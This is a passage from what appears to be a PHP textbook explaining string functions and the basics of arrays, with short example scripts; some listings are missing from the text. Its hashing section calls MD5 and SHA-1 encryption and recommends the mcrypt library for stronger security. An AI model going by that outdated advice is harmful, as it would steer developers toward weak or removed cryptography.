only the combination of several means—and in the PHP case, mostly functions—leads
to success. If you want to solve a specific problem, first see if there are any similar func-
tions before you set about writing them yourself.
Figure 7.6 The String Was Broken Down into Individual Parts Using Spaces and Dots
Note
explode() is somewhat is slightly more performant than the alternatives with regular
expressions, as the regular expressions still have to be interpreted. If you write your
own functions, you should test which solution is faster. Just try it out with a very long
string.
"str_split()"
str_split(String, length) splits a string into pieces of equal length and stores the
pieces in an array. If you omit the length, then each character is an array element. You
can see the latter in the following example.
<?php
$a = "PHP CMS SHOP";
print_r (str_split($a));
?>
Alternatively, you can of course write this solution yourself, which also helps with
understanding. Simply use the split_loop.php script as a basis. In the loop, you need a
variable as a counter for the index of the array ($j) and a variable for the respective start
position of substr(). The latter is also relevant in the loop condition, which terminates
when the end of the string is reached. You can see the result in Figure 7.8.
"str_word_count()"
If str_word_count(String) only receives a string as a parameter, then it returns an inte-
ger with the number of words in a string. However, if you also specify str_word_
count(String, Format), then the function returns either a normal array with all words
(Format has the value 1) or an associative array with the position of the word as the key
and the word as the value (Format with the value 2). You can see the two solutions in
Figure 7.9 and in Figure 7.10.
Figure 7.9 The Array with the Individual Words without Spaces
<?php
$a = "Always look on the bright side of life!";
print_r(str_word_count($a, 1));
?>
Figure 7.10 And Here with an Associative Array Showing the Start Position of the Individual
Words (Achieved by "Format" with Value "2")
Note
As a third parameter, you can specify a list of characters that are accepted as separa-
tors for a word. This is helpful if you want to use more than just spaces.
Array to String
To turn an array into a string, simply use the implode(connection_character, array)
method. If you omit the connection character, the elements are simply appended
directly to each other.
<?php
$values = array("PHP", "CMS", "SHOP");
$result = implode(" ", $values);
echo $result;
?>
Of course, the whole thing also works with an associative array.4 In this case, the ele-
ments are attached to each other in the order in which they are defined.
<?php
$values = array("R" => "FF", "G" => "AA", "B" => "00");
$result = implode($values);
echo "Color value: #" . $result;
?>
The function join(connection_character, array) has exactly the same effect as implode
(). join() is therefore also referred to as an alias of implode().5
4 An array that has key values from 0 to n instead of an index. More on this follows in Chapter 8.
5 Aliases usually have historical reasons: a function is known under a name from a programming lan-
guage and then implemented with a second name. You can find a list of aliases in PHP at http://s-
prs.co/v602267.
6 See Chapter 5.
<?php
$a = "PHP CMS SHOP";
echo strtolower($a);
?>
For example, the preceding script generates the following output: php cms shop.
Tip
Many functions, like str_replace(), have variants that do not distinguish between
upper- and lowercase. For str_replace(), the variant is str_ireplace(). With the
string comparison functions, you can recognize the case-insensitive7 variants by the
term case in the name.
One possible practical application for the various functions relating to upper- and low-
ercase is “scream protection” for a forum. This means that a function checks whether
there are many capital letters in a string that indicate that the user is shouting. If this is
the case, the string is converted.
The following simple function implements this: First, the individual words are split
into an array.8 Except for the first letter, each letter of each word is then run through. A
case distinction using the ord() function checks whether the ASCII code of the respec-
tive character is a lowercase or uppercase letter and increments a counter in each case.
Other characters are ignored. Finally, the counters are compared. You can freely choose
the value you set here. We convert the string to lowercase letters and the beginnings of
words to uppercase letters if there are more uppercase letters than lowercase letters.
function screamprotection($string) {
$words = str_word_count($string, 1);
$big = 0;
$small = 0;
7 The technical term for "not distinguishing between upper and lower case." In this context, case
stands for characters or letters and comes from the language used in classic typesetting, when
printers set their printing plates with lead letters from a typecase. Each letter had its own small box
in this case—hence, case.
8 str_word_count() works as of PHP 4.3.0. Alternatively, you can also use explode(), a custom func-
tion or a regular expression.
foreach($words as $word) {
for ($i = 1; $i < strlen($word); $i++) {
$ascii = ord(substr($word, $i, 1));
if ($ascii >= 65 && $ascii <= 90) {
$big++;
} elseif ($ascii >= 97 && $ascii <= 122) {
$small++;
}
}
}
if ($big > $small) {
return ucwords(strtolower($string));
} else {
return $string;
}
}
If the user now enters PHP CMS SHOP, for example, the function converts this entry into
php cms shop, on the other hand, is left as it is. You could extend and improve this func-
tion as you wish. For example, umlauts could be checked, or you could protect some
terms such as PHP from being converted.
7.4 Pruning
One function for cutting out parts of a string is substr(). It finds its actual home in this
section. There are also some other auxiliary functions, such as to remove spaces.
What characterizes substr() is its relatively high flexibility. Take a look at a few exam-
ples. The starting point is the following string:
If you only specify a (positive) start position, all characters up to the end of the string
are returned. The following parameters
substr($a, 4)
substr($a, 4, 2)
substr($a, -5)
Note
Be careful: The first position in a string is 0! If you start with negative values from the
end, the first character from the end has the position -1. This is logical because the
starting position of the first character must also exist, and that is 0.
Always cut to the right from the start position. If length is negative, then the cut is
made from the back. Thus,
substr($a, 1, -1)
cuts off the first and last letters and outputs HP CMS SHO.
Note
length and start position can be combined as required; for example, negative values
can also be combined. It becomes interesting when the string is shorter than the speci-
fications. This does not cause any problems with length; substr() simply returns as
many characters as are available. However, if the start position is not within the string,
then substr() only returns false.
you want to rule out the possibility of the user only entering spaces, or if you want to save
data cleanly—without whitespaces at the beginning or end—in the database.
PHP offers several functions to clean strings:
쐍 trim(String) removes whitespaces at the beginning and end of the string.
쐍 ltrim(String) only removes them on the left-hand side—that is, at the beginning of
the string.
쐍 rtrim(String) deletes whitespaces on the right—that is, at the end.
쐍 chop(String) is an alias of rtrim(), so it also removes the whitespaces at the end of a
string.
<?php
$a = " Space ";
echo "Many " . trim($a) . "!";
?>
Note
You have even more options with regular expressions. More on this follows in chapter 10.
7.5.1 Search
The search functions differ in what they return. Is it the position of the string part
found, or perhaps the remaining string from this position? The search functions are
then subdivided in this section.9
Position
The strpos(String, search_string, start) function is primarily responsible for search-
ing for a position. It searches a string for the search_string10 and returns the first (!)
9 In principle, substr() or subistr() could also be categorized as searches, except that the return here
is the found string itself. This is a rather academic discussion.
10 The string and the search string are also very nicely described as the haystack and needle in the
online documentation.
position at which it appears. This position is the first letter of the search_string. If you
specify the optional parameter start as an integer, then strpos() only starts the search
at this position:
These lines of code return 4 as the result, as this is the start position of the b of blue. If
you had searched for gray, PHP would have returned false as there is no search result.
Since PHP 7.1, start can also be a can also be a negative offset—that is, counted from the
end of the string:
This returns position 10—that is, finds the second blue—as the search only starts at the
second blue due to the negative offset of 12.
Note
When making comparisons, make sure that you check with exact equality (===). Other-
wise, if the position result is 0—that is, a character string is found in the first position—
then you will receive a result equivalent to false, even though something was found.
With stripos(String, search string, start), you achieve the same result as with str-
pos(), but the search is case-insensitive.
thus also returns 4, although the blue tab starts with a lowercase b.
Note
strrpos(String, search string) is the counterpart to strpos(). Here the search runs
from back to front (recognizable by the r for "right" in the name). The result is therefore
the last occurrence of a search string. strripos(String, search string) works like
strrpos(), except that it does not differentiate between upper- and lowercase.
Remaining String
strstr(String, search string) returns the remainder of the string from the first occur-
rence of the search string. The search string is contained in the remainder string.
<?php
$a = "The blue riders.";
echo strstr($a, "blue");
?>
Note
strchr(String, search string) is the alias to strstr(). strrchr(String, search
string) works in the same way as these two, except that the search starts at the end
of the string. You might suspect it, but strrstr() does not exist.
Note
The i in the name again indicates that the stristr(String, search string) case-insen-
sitive variant can be recognized. In contrast to some other i functions, it already existed
in PHP 4 (and even in PHP 3).
Frequency of Occurrence
The substr_count(string, search string, position, length) function counts how often
a search string occurs in a string. The position parameter specifies the position at
which the search begins, and length determines the length in characters at which the
search is performed.
<?php
$a = "Jippieeehjey";
echo substr_count($a, "e");
?>
<?php
$a = "Jippieeehjey";
$positions = array();
$i = 0;
$position = strpos($a, "e");
while ($position != false) {
$positions[$i] = $position;
$position = strpos($a, "e", $position + 1);
$i++;
}
print_r($positions);
?>
Tip
If you need this functionality more often, simply write your own function and create a
PHP file with it. You can then integrate this file into new files.
<?php
$a = "The blue riders.";
echo strpbrk($a, "xb.");
?>
Figure 7.13 The "b" Is Found First, then Everything after That Is Displayed
Note
If the search string is longer than the string in which you are searching, you will
always receive false. This also applies if both should otherwise match completely.
7.5.2 Replace
There are also several functions for replacing parts of a string. They differ mainly in
how much they replace.
Replace at Position
The substr_replace(String, replacement, start position, length) function works like
its little brother substr(), except that the specified range is not cut but replaced. The
length is optional, and negative values are possible for both the start position and the
length.
The following script replaces red with blue.
<?php
$a = "The red riders.";
echo substr_replace($a, "blue", 4, 3);
?>
<?php
$a = "Jippieeejey";
echo str_replace("e", "i", $a);
?>
Note
Note that the parameter sequence for string functions in PHP is unfortunately not
standardized. Here, for example, the string in question is at the end.
Tip
A quick search and replace is very suitable for placeholders in your code, for example.
In addition to simple strings, str_replace() also supports arrays for all three parame-
ters. In Listing 7.26 and Figure 7.14, you can see an example.
<?php
$a = "Jippieeejey";
$b = "Holadrioe";
$result = str_replace(array("e", "o"), array("i", "ö"), array($a, $b));
print_r($result);
?>
Note
str_ireplace(search string, replacement, string) is the case-insensitive variant of
str_replace() and otherwise identical in construction.
<?php
$a = "Jippieeejey";
echo strtr($a, "ei", "ie");
?>
Note
If there are not the same number of characters in the From string and the In string,
then the excess characters on one side are ignored.
strtr(String, Array) has a second syntax with an associative array. In this case, the
index of the respective array element is the From and the value is the In. The following
script therefore has the same effect as Listing 7.27, but with an associative array.
<?php
$a = "Jippieeejey";
echo strtr($a, array("e"=>"i", "i"=>"e"));
?>
<?php
$a = 'Caesar said: "I came, I saw, I conquered!"';
$a = addslashes($a);
echo "With backslash: " . $a;
11 Incidentally, various terms can be used for this process. In addition to escaping, masking or even
commenting out can also be used.
$a = stripslashes($a);
echo "<br />Without: " . $a;
?>
addcslashes($a, '"n')
therefore places a backslash before double quotation marks and before n (see Figure
7.15).
Note
The reverse conversion is performed with stripcslashes(String). However, special
characters such as \n are ignored. This means that if you were to use addcslashes($a,
'n'), you would still have line breaks in the source code instead of all n’s after the
reverse conversion. If you want to avoid this effect, use stripslashes(). This removes
all backslashes.
. \\ + * ? [ ^ ] ( $ )
<?php
$a = "Results in 50 * (5 - 3) 100?";
echo quotemeta($a);
?>
Tip
To convert back, simply use stripslashes().
7.6.3 HTML
HTML is a special—or you could also say, a strange—language. By definition, the
browser does not recognize anything that does not fit into a simple character set. Enti-
ties13 are available for special characters. These include German umlauts, for example.
PHP offers several functions for handling special characters in particular.
<?php
$a = 'Umlauts: "Ä", "ä", "Ö", "ö", "Ü", "ü"'; echo
"Without conversion: " . $a . "<br />\n";
echo "With conversion: " . htmlentities($a);
?>
In a browser with the default language set to German, both variants are displayed iden-
tically. This is not the case in a browser with the default language set to English. How-
ever, you can already see the difference in the source code (see Figure 7.17). The
quotation marks and the umlauts have become HTML entities.
Tip
If you are developing a guestbook, for example, then you should always convert the
user input into special HTML characters before outputting it. This will also remove any
HTML tags used by the user that could destroy the layout of the page14 or even be used
for malicious scripts.15 If you want to allow formatting in the guestbook, then you must
filter more precisely.
htmlentities($a, ENT_NOQUOTES)
prevents quotation marks from being converted. Instead of $quot;, you will see the
double quotation mark in the source text.
The third parameter allows conversion with a specified character set. The default value
for this is ISO-8859-1. The other values can be found in Table 7.1.
German umlauts, for example, are not included. Why is there a slimmed-down ver-
sion? Especially in English-speaking countries, the complete conversion of all special
characters is often not necessary or not desired. The entities converted by htmlspecial-
chars() are also the decisive characters of HTML syntax.
<?php
$a = "<p>Text in paragraph with<br /> line break</p>";
echo html_entity_decode($a);
?>
Conversion Table
The conversion with htmlentities() or htmlspecialchars() is based on a table stored in
PHP. You can read this table with the get_html_translation_table(version, quotes)
function to see what happens.
The two parameters are optional. If you omit version, the entries for htmlspecial-
chars() are returned (this would correspond to the value 0); if you enter 1, the (signifi-
cantly longer) list for htmlentities() is returned (see Figure 7.18).
Figure 7.18 The List for "htmlentities()" (Left) and for "htmlspecialchars()" (Right)
Note
We mask the returned keys and values here with htmlentities() so that they are dis-
played in the browser as they are.
The return format is an associative array. The key is the original; the value is the target
of the conversion. For the third parameter, quotation_marks, choose from the three
already known options (see the earlier section on converting special characters).
<?php
$table = get_html_translation_table();
foreach ($table as $key => $value) {
echo htmlentities($key) . " becomes " . htmlentities($value) .
"<br />";
}
?>
Remove Tags
The strip_tags(String, Protected) function strips PHP and HTML tags from a string
without replacing them. In the Protected string, enter the tags one after the other that
you want to save before replacing them. Be careful: the tags must not be in XHTML
notation, and only the opening tag is possible! Upper- and lowercase letters, on the
other hand, make no difference.
In the following example, the paragraph (<p> and </p>) is removed, but the line break
(<br />) is retained:
7.6.4 URLs
A URL—that is, a web address—allows additional information to be attached. This
information follows the file name and a question mark. However, there is a specific for-
mat for this.16 To create this format, use urlencode(String). To convert a URL back, use
urldecode(URL). Figure 7.19 shows an example.
<?php
$rheinwerk = "http://www.rheinwerk-verlag.de/index.php?";
$anhang = "Index 1=Value 1&Index 2=Value 2";
echo $rheinwerk . urlencode($anhang);
?>
Tip
In practice, you need this functionality if you want to append longer strings, such as
user input, to the URL.
<?php
$url = "http://www.rheinwerk-verlag.de/index.php?
Index+1%3DValue+1%26Index+2%3DValue+2";
$items = parse_url($url);
print_r($items);
?>
7.7 Compare
You already know the simple string comparison from Chapter 5. With exact equality
and exact inequality, you can even check the data type.
4 === "4"
Note
There is also a comparison function that only compares parts of two strings with each
other: substr_compare(String1, String2, Start, Length, Case-sensitive). The man-
datory parameters are the two strings and the position from which they are to be com-
pared. The length—the number of characters to be compared—is optional. Since PHP
5.6, the value 0 is also permitted. Also optional is the Boolean parameter Case-sensi-
tive, which disables the distinction between upper- and lowercase with false (default
value is true).
Similarity
The similar_text(String1, String2, percent) function calculates the similarity between
two strings. Optionally, you can specify a variable (as a reference) for the third parame-
ter. The function then writes the result of the comparison to this variable as a percent-
age value. The return value of the function is somewhat less meaningful than the
percentage. It indicates how many letters are recognized as the same.
<?php
$a = "PHP is powerful";
$b = "All power to PHP!";
$e;
echo "Value: " . similar_text($a, $b, $e) . "<br />";
echo "Percent: " . $e;
?>
The two strings from the preceding listing are 37.5% similar.
Differences
levenshtein(String1, String2) works similarly to similar_text(). Here too, two strings
are compared—this time, according to a Levenshtein algorithm—and the distance (i.e.,
the difference between the strings) is returned. However, the strings may only be a
maximum of 255 characters long.
7.7.3 Pronunciation
If a person writes a value in in a text field, the spelling may be incorrect. This is unpleas-
ant for the programmer because he has to take into account many typos. However,
many spelling errors occur because people write the way they speak. Here PHP offers a
good solution with the soundex(String) function, which compares two strings to see
whether they sound similar or the same.17
If, for example, the input of Good morning were required, a normal string comparison
would return that Got morning is not the same. soundex(), on the other hand, returns
the same key for both (see Figure 7.21).
<?php
$a = "Good morning";
$b = "Got morning";
echo $a . ": " . soundex($a) . "<br />";
echo $b . ": " . soundex($b);
?>
17 According to the PHP documentation, this function is based on a Soundex algorithm by Donald
Knuth from The Art of Computer Programming, vol. 3, Sorting and Searching (Addison-Wesley,
1973), 391ff. However, Soundex originally goes back to an algorithm that was patented in the US as
early as 1918 by Robert C. Russell on April 2 with the registration number 1,261,167.
<?php
echo "Character: " . chr(65) . "<br />";
echo "ASCII: " . ord("A");
?>
Figure 7.22 The Windows Character Table Also Shows the Hexadecimal Code
$result = "\u{00ae}";
echo $result;
7.8.3 Encryption
For encryption or hashing, PHP offers several functions for different encryption tech-
nologies:
쐍 md5(String) calculates for a string the MD5 hash,18 a hexadecimal number with a
length of 32 characters.
쐍 md5_file(filename) calculates the MD5 hash from a file name.
Note
The second parameter for both functions is a Boolean value that determines whether
the return is to be a number (false, default value) or binary data with a length of 16
characters (true).
쐍 sha1(String) and sha1_file(filename) work like md5() and md5_file(), only they
encrypt with the US secure hash algorithm number 1 instead.19
Tip
You can get more—more secure and customizable encryption, that is—with the
mcrypt library (http://s-prs.co/v602268).
Application: Unique ID
You need a unique ID, for example, if you want to create your own session manage-
ment to identify your users or uniquely identify any other element. There are many
ideas and scripts for calculating unique IDs. One of the best and shortest suggestions
comes from former PHP codeveloper Sterling Hughes:
The uniqid() function is used to calculate an ID in seconds using the current date. The
32-digit MD5 hash is then created from this. If you also want to exclude the minimal
chance that another server produces the same ID, include the unique process ID of the
current PHP process in the string:
The following listing shows the complete script (see also Figure 7.23).
<?php
$uid = md5(uniqid(microtime(), 1));
$uid = substr($uid, 0, 16) . getmypid() . substr($uid, 16, 16);
echo $uid;
?>
<?php
$a = "PHP is great";
echo strrev($a)
?>
Tip
An overview of the possible encodings for mbstring can be found at http://s-prs.co/
v602212.
The functions are gathered in an extension called mbstring. To activate them, compile
PHP under Linux with the following switch:
--enable-mbstring
Under Windows, activate the extension in php.ini. Here you can see the variant from
PHP 7.2:
extension=mbstring
In older PHP versions, you still need to add the .dll extension for Windows. You can
then use phpinfo() to check whether the setup has worked (see Figure 7.25). Most instal-
lation packages also include mbstring out of the box.
In the latest PHP versions, mbstring has been continuously developed. PHP 7.3 in partic-
ular took an important step forward with performance improvements, because if you
don't need languages with multibyte characters, then the normal string functions are
of course much faster.
The handling of upper- and lowercase has also been improved in PHP 7.3. In PHP 7.1,
improved error handling has already been added. As in many PHP extensions, fewer
fatal errors are now thrown, but more catchable errors.
In PHP, arrays are particularly flexible as they can hold any data type, and even differ-
ent data types. The reason for this is that PHP does not use strict typing unless explic-
itly enabled.
Note
Other programming languages restrict arrays to one data type (including vector arrays).
There are structures for this, for example. Arrays in PHP are similar to hashes in Perl, but
with small differences in the syntax.
Arrays are also very common in PHP itself. For example, the $_POST and $_GET super-
global variables, which hold the values of form elements, are also arrays. Database
returns are also frequently stored in arrays.
This chapter introduces you to the basics of arrays and then shows you how to get there
quickly and easily using the many array functions and possibilities of PHP.
8.1 Basics
An array can store any amount of data. This data is arranged one after the other in the
array. An index identifies the data. The index of an array starts at 0, so the first element
has the index 0, the second the index 1, and the third the index 2.
$days = array();
The $days variable is now an array. If you want to fill the array with elements straight
away, write them in the round brackets and separate them with commas:
Note
As already mentioned, it is also possible to mix data types:
$mix = array(2, "Text", true);
To view the contents of the array, you can use the print_r() or var_dump() function (see
Figure 8.1).
print_r($days);
However, there are other ways to create an array. You can also simply assign an index
to a variable. This is always done with square brackets ([]):
$days[0] = "Monday";
This is different from many other languages. In PHP, you do not have to define the
array separately. You can simply turn any variable into an array.
Note
If a variable already has a data type, then the automatic conversion to an array does
not work. Here is an example: In the following script, $days is already a string with the
value Saturday. If you now access the index 0 with square brackets, the first character
of the old variable is replaced by M. The output is therefore Maturday (see Figure 8.2)
and if you do nut suppress it with @, PHP would deliver an error message.
<?php
$days = "Saturday";
@$days[0]= "Monday";
print_r($days);
?>
Listing 8.1 The Variable Already Exists ("array_direct.php")
$name[Index]
$name[Index] = Value;
Take a look at a simple example. In the following script, the output of which you can see
in Figure 8.3, a new element is first added to the end, and then the third element, Moday,
is corrected in Monday.
<?php
$days = array("Saturday", "Sunday", "Moday", "Tuesday");
$days[4] = "Wednesday";
$days[2] = "Monday";
print_r($days);
?>
Tip
If you do not specify an index when assigning a value, the element is added to the end
of the array and assigned the highest numerical index:
$name[] = value;
<?php
$days = array("Saturday", "Sunday", "Monday", "Tuesday");
unset($days[0]);
print_r($days);
unset($days);
print_r($days);
?>
Figure 8.4 First One Element Disappears, then the Entire Array
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
The index is assigned to a name using =>. Be careful: this is easy to confuse with the ->
operator in object-oriented programming!
Note
Internally, all arrays in PHP are associative. This means that numeric indices are only
given a special role. This behavior also makes it possible to mix numeric and associative
indices.
With square brackets (see Figure 8.5), you can also use your own names for the index:
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
$stockprices ["Forsche"] = 53;
print_r($stockprices);
$stockprices = ["IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340];
To access the elements of the associative array, you can then use the syntax with
square brackets:
$stockprices["IBW"]["1.1.2020"]
For example, the last line accesses the price of IBW stock on January 1, 2020. This value
prints 232. Multidimensional arrays are walked through recursively by some PHP func-
tions, such as array_walk_recursive(). In this case, recursive means that all subordinate
arrays and their elements are also traversed.
8.2.1 "for"
The for loop simply runs through a numeric array in the order of the indices. To do this,
you must use the count(Array) function to determine how many elements the array
contains. Then send for on its journey (see Figure 8.6).
<?php
$days = array("Saturday", "Sunday", "Monday", "Tuesday");
for ($i = 0; $i < count($days); $i++) {
print $days[$i] . "<br />";
}
?>
The for loop works quite well, but only under two conditions:
쐍 The array has no associative indices, only numerical indices.
쐍 The array has no gaps; that is, there is no missing index in between the index num-
bers. The following array would, for example, generate a warning when reading
according to the previous pattern and would no longer output Tuesday, as count()
would result in the value 4 and the last element does not have the index 3:
foreach is better suited for cases that do not meet these conditions.
Figure 8.6 The Elements Are Output in the Order of the Indices
8.2.2 "foreach"
With the foreach loop, you can go through all the elements of the array, regardless of
whether they have a numerical or associative index. The following loop outputs all ele-
ments of the array one after the other, as shown in Figure 8.7.
<?php
$days = array("Saturday", "Sunday", "Monday", "Tuesday");
foreach ($days as $day) {
print $day . "<br />";
}
?>
Note
The values are available as a copy by default; that is, the string cannot be changed.
However, if you want to change the value, you can also pass it with an ampersand as a
reference:
foreach ($day as &$day) {
$day = "<p>" . $day . "</p>";
}
But what if you insert the elements into the array in an order that differs from the
numerical order? Consider the following example, in which Monday is defined before
Sunday, although Sunday has the lower index.
<?php
$days = array();
$days[0] = "Saturday";
$days[2] = "Monday";
$days[1] = "Sunday";
$days[3] = "Tuesday";
In Figure 8.8, you can see that the input sequence is decisive for foreach. As Monday was
inserted into the array before Sunday, it is also output before.
Note
In this case, where there are no associative indices, a for loop would solve the problem.
However, PHP offers many other sorting functions.
With PHP's associative arrays, you may want to get not only the value, but also the
index to the value. Here too, foreach provides excellent services, as Figure 8.9 shows.
<?php
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
foreach ($stockprices as $index => $stockprice) {
print "The company " . $index . " ";
print "has the stock price: " . $stockprice . "<br />";
}
?>
Note
Since PHP 7.1, you can also use arrays in foreach loops in the JSON-based shorthand
notation. The following example shows the JSON array in a variant without objects.
<?php
$stockprices = [
["IBW", 232],
["Miemens", 34],
["Rheinwerk", 340]
];
foreach ($stockprices as [$index, $stockprice]) {
print "The company " . $index . " ";
print "has the stock price: " . $stockprice . "<br />";
}
?>
Listing 8.8 "foreach" with the JSON Notation ("array_foreach_abbreviation.php")
<?php
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
print current($stockprices) . "<br />";
while (next($stockprices)) {
print current($stockprices) . "<br />";
}
?>
Note
Attention: the approach just shown fails if one of the values of the array is false or 0!
In this case, the while loop would be aborted even though the array is not yet com-
plete. However, at least the value 0 could be sorted out if you check for absolute
inequality:
while (next($rates) !== false) { ... }
1 PHP does not have a real pointer concept like other programming languages (e.g., C). However, the
functions mentioned come a little closer to this.
In addition to these two, there are several other functions for iteration:
쐍 pos(Array) is a synonym for current().
쐍 prev(Array) returns the array element before the current one. If there are no more,
then false is returned.
쐍 reset(Array) sets the pointer back to the first element. If the array is empty, the
function returns false.
쐍 end(Array) sets the pointer to the last element. If the array is empty, the function
returns false.
쐍 each(Array) works like next(), except that the key and value are returned in an array.
However, the function is no longer recommended since PHP 7.2 and has been
removed from PHP 8.
쐍 key(Array) returns the index of the element at the current pointer position in the
array.
쐍 array_walk(Array, Function, Parameter) automatically walks through an array and
calls a function for each element. The function receives the value and the index of
the respective element as parameters. Optionally, you can also pass a third parame-
ter. When using array_walk(), you should not change the array. The output is in the
input order of the elements. This is the case for all iteration functions. array_walk_
recursive() works in the same way as array_walk(), except that it also penetrates
multidimensional arrays. The following listing offers a simple example of array_
walk(); you can see the output in Figure 8.11.
<?php
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
Figure 8.11 The Function Returns Two Prices and Singles One Out
쐍 array_map(function, array ...) calls the function for each array element and
returns an array with the elements from the array or arrays passed as parameters
after they have passed through the function.
8.3 Examine
Let's assume that you don't know very much about the return of a function, but you
suspect that it is usually an array and need some information from it. PHP offers some
interesting functions for this.
You already know about count(Array). This function counts the number of elements in
an array. If you specify COUNT_RECURSIVE or 1 as the second parameter, then all elements
are counted recursively. This means that count(Array, Mode) also counts the elements
in nested arrays. Assume the following array:
If you now count all elements without the mode, like this:
print count($stockprices);
then you get 1. If, on the other hand, you work recursively, with
then count() also counts the elements of the subordinate array and returns 3.
Now to the other interesting examination functions in PHP:
쐍 sizeof() is a synonym of count().
쐍 isset(Array) determines whether an array is defined at all. isset() also returns true
for an empty array.
쐍 empty(Array) checks whether an array is empty (true) or has elements (false). If an
array does not exist, then empty() returns true.
쐍 is_array(Array) checks whether something is an array. If the array does not exist,
is_array() returns a warning. You must therefore combine this function with
isset().
쐍 in_array(Search element, Array, Strict) checks whether a value is present in the
array. The Search element can be any data type, including another array (since PHP
4.2.0). If the optional parameter Strict is set to true, then the data type of the Search
element and the find must match. Caution: in_array() is one of two array functions
that do not start with the array, but with the search element!2
2 People discussed whether to change these two functions, in_array() and array_search(), in a
future PHP version. However, as there are only the two and the damage to old scripts would proba-
bly be great, this was not done.
Note
The same rules apply to this function as those for comparison operators. With string
comparisons, the ASCII position of the character is decisive; that is, a distinction is
made between upper- and lowercase. With Strict, it is a check for absolute equality or
inequality.
8.4 Transform
In the extensive universe of array helper functions, we first show you the most import-
ant ones for transforming, splitting, and joining arrays. You will also learn how to con-
vert variables into arrays and vice versa.
Note
Most array auxiliary functions can also be more or less easily replicated with the nor-
mal array functions. However, there is hardly anyone who wants to do this work.
The function returns the removed element, or zero in the case of an empty array.
쐍 array_unshift(Array, Value, Value ...) adds new values to the beginning of the
array and returns the number of elements the array has afterward.
<?php
$days = array("Saturday", "Sunday", "Monday", "Tuesday");
$new = array_slice($days, 1, 2);
print_r($new);
?>
Figure 8.12 The New Array: The Original Does Not Change!
Note
You can also specify a negative value for the start index. In this case, counting starts
from the end of the array. The following line only cuts Monday from the array:
$new = array_slice($tage, -2, 1);
However, if the length has a negative value, then cutting stops at this position,
counted from the end of the array.
For an associative array, array_slice(Array, Length) has only two parameters: the
array and the length (i.e., the number of elements to be sliced from the array). The ele-
ments are removed from the beginning of the array and placed in the new array. The
original does not change here either. Figure 8.13 shows the result of the following
instruction:
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
$new = array_slice($stockprices, 2);
print_r($new);
Figure 8.13 Only the Last Element Is Added to the New Array
Tip
array_slice() normally adjusts all numerical indices. You can also protect the keys. To
do this, specify true as the fourth parameter:
$new = array_slice($days, 1, 2, true);
Figure 8.14 shows the result.
<?php
$days = array("Saturday", "Suday", "Moday", "Tuesday");
array_splice($days, 1, 2, array("Sunday", "Monday"));
print_r($days);
?>
Tip
If you use array_splice() without replacement, you can use it to cut elements from
the original array and do not have to fall back on the newly created array as with
array_slice(). Otherwise, the start index and length also work with negative values,
as with array_slice().
8.4.3 Connect
To connect two or more arrays, use array_merge(Array1, Array2 ...). You simply spec-
ify the arrays one after the other. They then appear as shown in Figure 8.16.
<?php
$days = array("Saturday", "Sunday", "Monday", "Tuesday");
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
$new = array_merge($days, $stockprices);
print_r($new);
?>
쐍 Identical associative indices mean that the element added later overwrites the previ-
ous one—for example:
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
$stockprices2 = array("IBW" => 33, "Foyota" => 45);
$new = array_merge($stockprices, $stockprices2);
IBW is present in both arrays. IBW only appears once in $new, with the value 33.
쐍 Identical numerical indices lead to an adjustment of the index numbers, but both
elements are retained—for example:
The array $new contains all days. Wednesday has the index 4, Thursday has 5, and so on.
쐍 The numerical index is always renumbered. This means that even if you only specify
one array, the elements are renumbered in the input sequence. If you simply want to
append arrays together without renumbering, you can also add them with +.
Note
You will find an example in each of the working files. The files are named like the
methods—that is, array_merge_recursive.php and array_combine.php.
<?php
$stockprices = array(232, 34, 340);
list($IBW, $Miemens, $Rheinwerk) = $stockprices;
print "The price of Miemens is: " . $Miemens;
?>
Tip
You can also omit values in list() that you do not need. It then looks like this:
list(, $Miemens,) = $stockprices;
For database outputs and the like, you can also use list() with a loop:
while(list($x, $y) = sqlite_fetch_array($query)) { ... }
Note
There was a change in PHP 7 for list(): The order of the assignments is now in the
order in which the variables were declared.
<?php
$stockprices = array("IBW" => 232, "Miemens" => 34, "Rheinwerk" => 340);
extract($stockprices);
print "The course of Miemens is: " . $Miemens;
?>
Note
For security reasons, you should not simply do this with user input that you have previ-
ously obtained via the $_GET or $_POST superglobal array.
By default, extract(Array, Mode, Prefix) overwrites existing variables with the same
name. However, you can optionally select a mode for dealing with existing variables.
There are a number of constants available for the mode, as listed in Table 1.1. The third
parameter is also optional and allows you to add a prefix to the variable name. This
allows you to clearly identify the newly generated variables and thus avoid overlaps
completely. The mode determines whether a prefix is used.
Mode Description
EXTR_PREFIX_SAME If two variables match, the new one from the array receives the
prefix (third parameter).
EXTR_IF_EXISTS Only sets a variable if it already exists. The old one is overwrit-
ten.
EXTR_PREFIX_IF_EXISTS Only sets a variable if it already exists. However, uses a prefix for
the new variable. The old one is retained.
EXTR_REFS Extracts the variables as a reference. This means that they still
refer to the array.
extract($stockprices, EXTR_REFS); $stockprices["Miemens"] = 45;
The compact(Variable, Variable ...) function is the counterpart to extract(). The func-
tion can contain a flexible number of variable names as strings. The variable names can
also be in one or more arrays. A check is made for all these variable names to see
whether a variable exists. This is then stored in an associative array.
In addition to this function, there are also others that create an array automatically:
쐍 array_fill(start_index, number, value) fills an array starting at start_index with the
number of elements specified under number. They all receive the third parameter as
a value.
쐍 range(Min, Max, Step) creates an array with the values from Min to Max. Min and Max
can also be swapped. The third parameter defines the intermediate steps.
8.4.5 Dereferencing
Dereferencing means that you can directly access the individual elements in an array.
This also applies if the array has just been created:
In this case, the first element (here, Monday) is returned directly. This form of dereferenc-
ing exists as of PHP 5.5. As of PHP 5.4, you can directly access returns from functions
that consist of an array. To do this, it is sufficient to add the square brackets with the
array index directly after the function call. Figure 8.18 shows the result.
<?php
function add($start, $end, $step = 1) {
$erg = array();
if ($start < $end) {
$j = 0;
